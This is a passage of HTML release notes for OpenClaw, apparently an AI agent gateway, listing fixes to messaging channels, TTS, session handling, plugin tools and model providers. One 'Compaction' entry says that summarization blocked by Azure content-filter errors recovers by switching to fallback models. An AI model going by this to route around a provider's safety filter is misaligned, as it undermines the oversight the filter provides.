<p>Cron/TTS: run cron announce payloads through the normal TTS directive transform before outbound delivery, so scheduled <code>[[tts]]</code> replies generate voice payloads instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115170457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52125" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52125/hovercard" href="https://github.com/openclaw/openclaw/issues/52125">#52125</a>. Thanks @kenchen3000.</p>
</li>
<li>
<p>WhatsApp: save downloadable quoted image media from reply context as inbound media, so agents can inspect an image that a user replied to instead of only seeing <code>&lt;media:image&gt;</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4188698212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59174/hovercard" href="https://github.com/openclaw/openclaw/issues/59174">#59174</a>. Thanks @gaffner.</p>
</li>
<li>
<p>Sessions/store: stop persisting the runtime-only <code>skillsSnapshot.resolvedSkills</code> array inside each session entry, so <code>sessions.json</code> no longer carries a copy of every parsed <code>SKILL.md</code> body for every active session; <code>ensureSkillSnapshot</code> rehydrates the array from disk on cold resume so the embedded runner, the Claude CLI skills plugin, and the Claude live-session fingerprint all see populated skills, and legacy stores self-heal on the next save. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3913009724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11950/hovercard" href="https://github.com/openclaw/openclaw/issues/11950">#11950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3883150285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6650" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/6650/hovercard" href="https://github.com/openclaw/openclaw/issues/6650">#6650</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3934112753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/15000" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/15000/hovercard" href="https://github.com/openclaw/openclaw/issues/15000">#15000</a>. Thanks @amoghasgekar.</p>
</li>
<li>
<p>Doctor/WhatsApp: warn when Linux crontabs still run the legacy <code>ensure-whatsapp.sh</code> health check, which can misreport <code>Gateway inactive</code> when cron lacks the systemd user-bus environment. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4199567980" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60204" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60204/hovercard" href="https://github.com/openclaw/openclaw/issues/60204">#60204</a>. Thanks @mySebbe.</p>
</li>
<li>
<p>Slack/setup: print the generated app manifest as plain JSON instead of embedding it inside the framed setup note, so it can be copied into Slack without deleting border characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251790246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65751" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65751/hovercard" href="https://github.com/openclaw/openclaw/issues/65751">#65751</a>. Thanks @theDanielJLewis.</p>
</li>
<li>
<p>Channels/WhatsApp: route CLI logout through the live Gateway and stop runtime-backed listeners before channel removal, so removing a WhatsApp account does not leave the old socket replying until restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277177561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67746" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67746/hovercard" href="https://github.com/openclaw/openclaw/issues/67746">#67746</a>. Thanks @123Mismail.</p>
</li>
<li>
<p>Voice Call/Twilio: honor TTS directive text and provider voice/model overrides during telephony synthesis, so <code>[[tts:...]]</code> tags are not spoken literally and voiceId overrides reach OpenAI/ElevenLabs calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175530255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58114/hovercard" href="https://github.com/openclaw/openclaw/issues/58114">#58114</a>. Thanks @legonhilltech-jpg.</p>
</li>
<li>
<p>Agents/session-locks: reclaim untracked current-process session locks with matching starttime during acquisition and startup cleanup, so Gateway restarts recover from self-owned orphan <code>.jsonl.lock</code> files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366526190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75805" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75805/hovercard" href="https://github.com/openclaw/openclaw/issues/75805">#75805</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093489842" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49603" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49603/hovercard" href="https://github.com/openclaw/openclaw/issues/49603">#49603</a>. Thanks @cdznho.</p>
</li>
<li>
<p>Agents/subagents: initialize built-in context engines before native <code>sessions_spawn</code> resolves spawn preparation, so cliBackend-only cold starts no longer fail with an unregistered <code>legacy</code> context engine. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339592375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73095/hovercard" href="https://github.com/openclaw/openclaw/issues/73095">#73095</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347197163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73904/hovercard" href="https://github.com/openclaw/openclaw/pull/73904">#73904</a>) Thanks @brokemac79.</p>
</li>
<li>
<p>Plugins/Bonjour: ship the ciao runtime dependency with packaged OpenClaw so fresh OCM envs can start default mDNS discovery without a missing-module failure. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: scope reply plugin-tool discovery to manifest-declared tool owners and already-active matching tool entries, avoiding broad plugin runtime loading for narrow or core-only tool allowlists. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/replies: defer implicit image model discovery and keep OAuth auth-store adoption on persisted profiles during reply startup, cutting OCM MarCodex warm prep to sub-second in live checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/tools: enforce <code>contracts.tools</code> as the manifest ownership contract for plugin tool registration, rejecting undeclared runtime tool names and adding bundled plugin drift coverage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/Codex: stop prompting message-tool-only source turns to finish with <code>NO_REPLY</code>, so quiet turns are represented by not calling the visible message tool instead of conflicting final-text instructions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Gateway/config: report failed backup restores as failed in logs and config observe audit records instead of marking them valid. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314005687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70515/hovercard" href="https://github.com/openclaw/openclaw/pull/70515">#70515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</p>
</li>
<li>
<p>Compaction: use the active session model fallback chain for implicit summarization failures without persisting fallback model selection, so Azure content-filter 400s can recover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245460651" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64960" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64960/hovercard" href="https://github.com/openclaw/openclaw/issues/64960">#64960</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352068136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74470/hovercard" href="https://github.com/openclaw/openclaw/pull/74470">#74470</a>) Thanks @jalehman and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</p>
</li>
<li>
<p>Gateway/config: allow <code>gateway config.patch</code> to update documented subagent thinking defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365780380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75764" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75764/hovercard" href="https://github.com/openclaw/openclaw/issues/75764">#75764</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366498289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75802" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75802/hovercard" href="https://github.com/openclaw/openclaw/pull/75802">#75802</a>) Thanks @kAIborg24.</p>
</li>
<li>
<p>Plugins/CLI: keep git plugin install paths credential-free, preserve existing git checkouts until replacement succeeds, honor duplicate npm install mode, and remove managed git repos on uninstall. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/CLI: redact authenticated git URLs from git install command failure details, so failed clone or checkout output cannot leak credentials during plugin installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/status reactions: remove stale non-terminal lifecycle reactions when a run reaches done or error, so Discord does not leave a permanent thinking emoji after completion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363092374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75458/hovercard" href="https://github.com/openclaw/openclaw/issues/75458">#75458</a>. Thanks @davelutztx.</p>
</li>
<li>
<p>Discord/doctor: migrate unsupported per-channel <code>agentId</code> entries under guild channel config into top-level <code>bindings[]</code> routes, so <code>openclaw doctor --fix</code> preserves the intended agent route instead of stripping it as an unknown key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217423565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62455/hovercard" href="https://github.com/openclaw/openclaw/issues/62455">#62455</a>. Thanks @lobster-biscuit.</p>
</li>
<li>
<p>Discord/DMs: set inbound direct-message <code>ctx.To</code> to the semantic <code>user:&lt;id&gt;</code> target while keeping delivery routed through the DM channel, so mirror and recovery paths do not treat DMs as channel conversations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4282995155" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68126" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68126/hovercard" href="https://github.com/openclaw/openclaw/issues/68126">#68126</a>. Thanks @illuminate0623.</p>
</li>
<li>
<p>Discord/DMs: keep no-guild inbound messages on direct-message routing when Discord channel lookup is temporarily unavailable, preventing degraded DMs from forking into channel sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195831671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59817" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59817/hovercard" href="https://github.com/openclaw/openclaw/issues/59817">#59817</a>. Thanks @DooPeePey.</p>
</li>
<li>
<p>Discord: retry outbound API calls on HTTP 5xx, request-timeout, and transient transport failures instead of only Discord rate limits, reducing dropped cron and agent replies during short Discord or network outages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116577020" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52396" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52396/hovercard" href="https://github.com/openclaw/openclaw/issues/52396">#52396</a>. Thanks @sunshineo.</p>
</li>
<li>
<p>Discord: include Components v2 Text Display content from referenced replies and forwarded snapshots, so component-only messages still appear in reply context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158079453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56228/hovercard" href="https://github.com/openclaw/openclaw/issues/56228">#56228</a>. Thanks @HollandDrive.</p>
</li>
<li>
<p>Discord: add configurable gateway READY timeouts for startup and runtime reconnects, so staggered multi-account setups can avoid false restart loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331372526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72273/hovercard" href="https://github.com/openclaw/openclaw/issues/72273">#72273</a>. Thanks @sergionsantos.</p>
</li>
<li>
<p>Discord: preserve native slash-command description localizations through command reconcile, so localized Discord descriptions no longer get overwritten by English defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161405333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56580" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56580/hovercard" href="https://github.com/openclaw/openclaw/issues/56580">#56580</a>. Thanks @mhseo93.</p>
</li>
<li>
<p>Discord: add configured outbound mention aliases so known <code>@Name</code> references can be rewritten to real Discord user mentions instead of relying only on the transient directory cache. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274166014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67587/hovercard" href="https://github.com/openclaw/openclaw/issues/67587">#67587</a>. Thanks @McoreD.</p>
</li>
<li>
<p>Discord: avoid startup REST amplification by skipping native command deploy retries after Discord rate limits and deriving the bot id from parseable bot tokens instead of requiring a <code>/users/@me</code> lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362306201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75341" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75341/hovercard" href="https://github.com/openclaw/openclaw/issues/75341">#75341</a>. Thanks @PrinceOfEgypt.</p>
</li>
<li>
<p>Plugins/hooks: derive hook <code>ctx.channelId</code> from the conversation target instead of the provider name, so Discord and other channel plugins can keep per-channel state isolated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4196584916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59881/hovercard" href="https://github.com/openclaw/openclaw/issues/59881">#59881</a>. Thanks @bradfreels.</p>
</li>
<li>
<p>Gateway/config: log config health-state write failures instead of silently hiding config observe-recovery write errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Diagnostics: reset stuck-session timers on reply, tool, status, block, and ACP progress events, and back off repeated <code>session.stuck</code> diagnostics while a session remains unchanged. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330206713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72010" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72010/hovercard" href="https://github.com/openclaw/openclaw/pull/72010">#72010</a>. Thanks @rubencu.</p>
</li>
<li>
<p>Gateway/agents: avoid rebuilding core tools for plugin-only allowlists and keep the full plugin registry cache warm across scoped plugin loads, reducing per-turn latency spikes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367404227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75882/hovercard" href="https://github.com/openclaw/openclaw/issues/75882">#75882</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367580317" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75907" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75907/hovercard" href="https://github.com/openclaw/openclaw/issues/75907">#75907</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367573379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75906" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75906/hovercard" href="https://github.com/openclaw/openclaw/issues/75906">#75906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367498934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75887" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75887/hovercard" href="https://github.com/openclaw/openclaw/issues/75887">#75887</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367081946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75851/hovercard" href="https://github.com/openclaw/openclaw/issues/75851">#75851</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367733132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75922/hovercard" href="https://github.com/openclaw/openclaw/pull/75922">#75922</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Agents/failover: classify bare <code>status: internal server error</code> provider messages as retryable server errors so model fallback can rotate instead of stopping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346697764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73844" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73844/hovercard" href="https://github.com/openclaw/openclaw/pull/73844">#73844</a>) Thanks @thesomewhatyou.</p>
</li>
<li>
<p>Gateway/startup: return the shared retryable startup-sidecars error for startup-gated control-plane RPCs such as sessions.create, sessions.send, sessions.abort, agent.wait, and tools.effective, so clients can retry early sidecar races. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368487370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76012" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76012/hovercard" href="https://github.com/openclaw/openclaw/pull/76012">#76012</a>) Thanks @scoootscooob.</p>
</li>
<li>
<p>Providers/Google: fix Gemini 2.5 Flash-Lite <code>reasoning: "minimal"</code> rejections by raising its thinking-budget floor to 512 while preserving the existing Gemini 2.5 Pro and Flash minimal presets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4316577583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70629/hovercard" href="https://github.com/openclaw/openclaw/pull/70629">#70629</a>) Thanks @ericberic.</p>
</li>
<li>
<p>Agents/status: resolve <code>session_status(sessionKey="current")</code> for sparse channel-plugin sessions after literal current lookups miss, so Scope, Slack, Discord, and other plugin-driven agents avoid retrying through <code>Unknown sessionKey: current</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348384116" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74141/hovercard" href="https://github.com/openclaw/openclaw/issues/74141">#74141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331560781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72306" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72306/hovercard" href="https://github.com/openclaw/openclaw/pull/72306">#72306</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</p>
</li>
<li>
<p>Cron: retry recurring wake-now main-session jobs through temporary heartbeat busy skips before recording success, so queued cron events no longer appear as ok ghost runs while the main lane is still busy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368042745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75964" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75964/hovercard" href="https://github.com/openclaw/openclaw/issues/75964">#75964</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369011338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76083/hovercard" href="https://github.com/openclaw/openclaw/pull/76083">#76083</a>) Thanks @kshetrajna12 and @xuruiray.</p>
</li>
<li>
<p>Providers/Google: keep Gemini thinking-signature-only stream chunks active during reasoning, so Gemini 3.1 Pro Preview replies no longer hit idle timeouts before visible text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368880968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76071/hovercard" href="https://github.com/openclaw/openclaw/issues/76071">#76071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368997122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76080" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76080/hovercard" href="https://github.com/openclaw/openclaw/pull/76080">#76080</a>) Thanks @marcoschierhorn and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>CLI/skills: show per-agent model and command visibility in <code>openclaw skills check --agent</code>, and let doctor report or disable unavailable skills allowed for the default agent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368251753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75983" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75983/hovercard" href="https://github.com/openclaw/openclaw/pull/75983">#75983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Agents/tools: skip unavailable media generation and PDF tool factories from the live reply path when Gateway metadata and the active auth store prove no configured provider can back them, while keeping explicit config and auth-backed providers on the normal factory path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: reuse the Gateway metadata startup plan when ensuring reply runtime plugins are loaded, so live agent turns do not broad-load plugin runtimes after the Gateway already scoped startup activation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: delegate scoped reply runtime registry reuse to the plugin loader cache-key compatibility checks, so config changes with the same startup plugin ids cannot keep stale runtime hooks or tools active. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: let compatible wider plugin registries satisfy scoped reply runtime requests when they already contain the requested plugins, avoiding redundant runtime loading without bypassing loader cache-key freshness checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: validate agent model allowlists against manifest model catalog metadata during reply startup, avoiding broad provider runtime catalog loading before the agent run lane starts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: keep allowlisted configured model thinking metadata available when manifest catalog rows are absent, so explicit high-reasoning levels remain valid for custom configured models. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: preserve plugin-declared config-only generation providers such as local Comfy workflows during reply tool pre-gating, and share manifest auth/config availability checks between the planner and final tool factories. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: keep Comfy generation tools visible from legacy local workflow config and cloud API-key config when no Gateway metadata snapshot is active, using plugin-declared manifest signals instead of loading provider runtimes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: route media and generation capability lookups through the Gateway plugin metadata snapshot during reply tool registration, avoiding repeated manifest registry reloads on the live reply path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: let plugins declare media generation auth aliases and base-url guards in manifests, preserving OpenAI Codex OAuth image generation availability without core-owned provider special cases. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: reuse the auth profile store already loaded for the active run when deciding media and generation tool availability, avoiding repeated provider-auth runtime discovery during reply startup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: keep image, video, and music generation tool registration on manifest/auth control-plane checks instead of loading runtime provider registries during reply startup, reducing live-path tool-prep blocking while leaving provider runtime resolution for execution and list actions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Discord: document canonical mention formatting in agent prompt hints and channel docs so outbound replies use <code>&lt;@USER_ID&gt;</code>, <code>&lt;#CHANNEL_ID&gt;</code>, and <code>&lt;@&amp;ROLE_ID&gt;</code> instead of legacy nickname mentions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359907332" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75173/hovercard" href="https://github.com/openclaw/openclaw/pull/75173">#75173</a>)</p>
</li>
<li>
